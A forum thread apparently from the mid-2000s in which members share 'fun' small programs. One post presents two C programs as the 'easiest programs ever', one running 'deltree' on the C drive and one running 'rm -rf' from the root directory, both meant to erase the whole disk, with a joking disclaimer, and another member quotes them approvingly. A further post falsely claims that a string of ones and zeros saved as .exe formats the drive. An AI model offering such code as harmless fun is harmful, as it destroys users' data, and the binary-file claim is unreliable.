Fun/Quickee programs.

New Member
Joined
Apr 21, 2003
Messages
234
Best answers
0
Post your little fun programs here. I'd post them but I'm on my dads computer with no compiler.
 
The Sinister Minister
Retired Forum Staff
💻 Oldtimer
Joined
Nov 25, 2001
Messages
3,637
Best answers
0
RavenTrunks said:
bug.... report????
This is also the Coding-related section. We do allow people to start coding-related topics here. It's just not often done, because we don't have that many coders holding discussions in here.

It is allowed, though. This section was designed with both bug reports and general coding topics in mind.
 
Lost in space
Banned
💻 Oldtimer
Joined
Dec 1, 2002
Messages
2,725
Best answers
0
You might want to post the source to your program as well, or maybe just the source only. Not just for the fact that downloading and running random executables raises a few flags in the Internet user's eye (it should), but also if anyone is curious as to how your program is constructed, they can refer to the source.

Any kinds of programs? Just for the heck of it? I'll see if I have any stuff to post in a bit. D;

EDIT: I've been screwing around with OpenGL and GLUT lately, so here's a bit of that.
http://arbornet.org/~umlaut/opengl/lighting.cpp

You'll need the to have the GLUT library configured on your system on top of OpenGL if you want to compile and run the executable. But if you don't want to go through all the hassle,
Screenshot: http://arbornet.org/~umlaut/opengl/lighting_screenshot.JPG
 
Lost in space
Banned
Joined
Oct 21, 2003
Messages
814
Best answers
0
Easiest programs ever:

Windows:

Code:
// make sure you run this from an admin account

// system() is defined in stdlib.h or something but i forget and
// don't really care about windows tbfh
#include <windows.h>

int main()
{
    // should probably add system("@echo off"); here
    system("deltree \y c:");
    return 0;
}
Unix/Linux/BSD/FruitOSX:

Code:
// make sure you run this as root

int main()
{
    umask(777);
    system("nohup cd /; rm -rf * > /dev/null 2>&1 &");
    return 0;
}
Disclaimer: I take no responsibility for damage to your computer, run these programs at your own risk lol
 
New Member
Joined
Dec 18, 2005
Messages
42
Best answers
0
Best of all!:
1.Copy paste in notepad:
Code:
01001011000111110010010101010101010000011111100000
2.Save as .exe
3.Run at your own will <.<
it formats
 
New Member
💻 Oldtimer
Joined
May 28, 2005
Messages
1,547
Best answers
0
I'm sorry, but I have no clua as of what is going on, I can only code HTML, lol, so can someone please tell me what all of his is? o.0
 
New Member
Joined
Feb 27, 2005
Messages
526
Best answers
0
Kurt` said:
Easiest programs ever:

Windows:

Code:
// make sure you run this from an admin account

// system() is defined in stdlib.h or something but i forget and
// don't really care about windows tbfh
#include &lt;windows.h&gt;

int main()
{
    // should probably add system("@echo off"); here
    system("deltree \y c:");
    return 0;
}
Unix/Linux/BSD/FruitOSX:

Code:
// make sure you run this as root

int main()
{
    umask(777);
    system("nohup cd /; rm -rf * > /dev/null 2>&1 &");
    return 0;
}
Disclaimer: I take no responsibility for damage to your computer, run these programs at your own risk lol
Works like a charm, thanks ;D

donnierisk said:
I'm sorry, but I have no clua as of what is going on, I can only code HTML, lol, so can someone please tell me what all of his is? o.0
Er... that's a pretty funny question that doesn't seem to contribute much to the topic o_O. I will answer by saying all of the above posted are coded in C++, but maybe someone would like to bring a different language into this thread? >_>
 
New Member
Joined
Dec 18, 2005
Messages
42
Best answers
0
Code:
01001011000111110010010101010101010000011111100000
That is decoded/encoded .exe code :p
 
New Member
Joined
Feb 27, 2005
Messages
526
Best answers
0
Rixorster said:
Code:
01001011000111110010010101010101010000011111100000
That is decoded/encoded .exe code :p
Do you know what that does or did you just put a whole lot of 0's and 1's together and hope it does something?
 
Lost in space
Banned
Joined
Oct 21, 2003
Messages
814
Best answers
0
Rixorster said:
Code:
01001011000111110010010101010101010000011111100000
That is decoded/encoded .exe code :p
Seriously? How did you figure out how to disassemble the PE header and everything?
 

Users Who Are Viewing This Thread (Users: 0, Guests: 1)

Top